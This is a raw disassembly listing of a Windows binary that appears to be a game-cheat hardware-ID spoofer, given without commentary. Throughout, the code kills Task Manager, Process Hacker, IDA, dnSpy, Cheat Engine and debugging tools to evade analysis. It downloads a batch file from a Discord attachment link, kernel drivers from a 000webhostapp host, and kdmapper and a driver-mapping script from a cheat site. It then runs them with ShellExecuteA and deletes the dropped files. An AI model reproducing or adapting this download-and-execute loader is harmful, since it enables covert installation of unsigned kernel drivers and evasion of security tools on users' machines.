call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xabb0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xab90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xab90]
call fcn.14005d8d0
mov qword [rsp + 0x1198], rax
lea rcx, [rsp + 0xabb0]
call fcn.14005d8d0
mov qword [rsp + 0x11a0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1198]
mov rdx, qword [rsp + 0x11a0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140392bf0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.https:__sandiest_buttons.000webhostapp.com_Spoofyyerrrerst.sys
lea rcx, [rsp + 0xab70]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
lea rcx, [rsp + 0xab50]
call fcn.14005d9d0
nop
lea rdx, str.https:__sandiest_buttons.000webhostapp.com_diskDRIVE.sys
lea rcx, [rsp + 0xab30]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
lea rcx, [rsp + 0xab10]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_privatenxtv2spoofingdrivers_fixspooferv2namesss_asap_kdmapper.exe
lea rcx, [rsp + 0xaaf0]
call fcn.14005d9d0
nop
lea rdx, [0x1403925a8]
lea rcx, [rsp + 0xaad0]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_privatenxtv2spoofingdrivers_fixspooferv2namesss_asap_DriverMapper.bat
lea rcx, [rsp + 0xaab0]
call fcn.14005d9d0
nop
lea rdx, [0x140392bb0]
lea rcx, [rsp + 0xaa90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xab50]
call fcn.14005d8d0
mov qword [rsp + 0x11a8], rax
lea rcx, [rsp + 0xab70]
call fcn.14005d8d0
mov qword [rsp + 0x11b0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x11a8]
mov rdx, qword [rsp + 0x11b0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xab10]
call fcn.14005d8d0
mov qword [rsp + 0x11b8], rax
lea rcx, [rsp + 0xab30]
call fcn.14005d8d0
mov qword [rsp + 0x11c0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x11b8]
mov rdx, qword [rsp + 0x11c0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xaad0]
call fcn.14005d8d0
mov qword [rsp + 0x11c8], rax
lea rcx, [rsp + 0xaaf0]
call fcn.14005d8d0
mov qword [rsp + 0x11d0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x11c8]
mov rdx, qword [rsp + 0x11d0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xaa90]
call fcn.14005d8d0
mov qword [rsp + 0x11d8], rax
lea rcx, [rsp + 0xaab0]
call fcn.14005d8d0
mov qword [rsp + 0x11e0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x11d8]
mov rdx, qword [rsp + 0x11e0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140392bb0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140392bf0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:WindowsSystem32Mobo.exe
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv32.sys
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv64.sys
call fcn.1402b632c
lea rdx, str.Trials_Successfully_Reset._Enjoy_
lea rcx, [0x1404053e0]
call fcn.1400af0c0
mov qword [rsp + 0x11e8], rax
lea rdx, [0x1400af650]
mov rcx, qword [rsp + 0x11e8]
call fcn.1400abde0
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adochassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoc.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adod.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
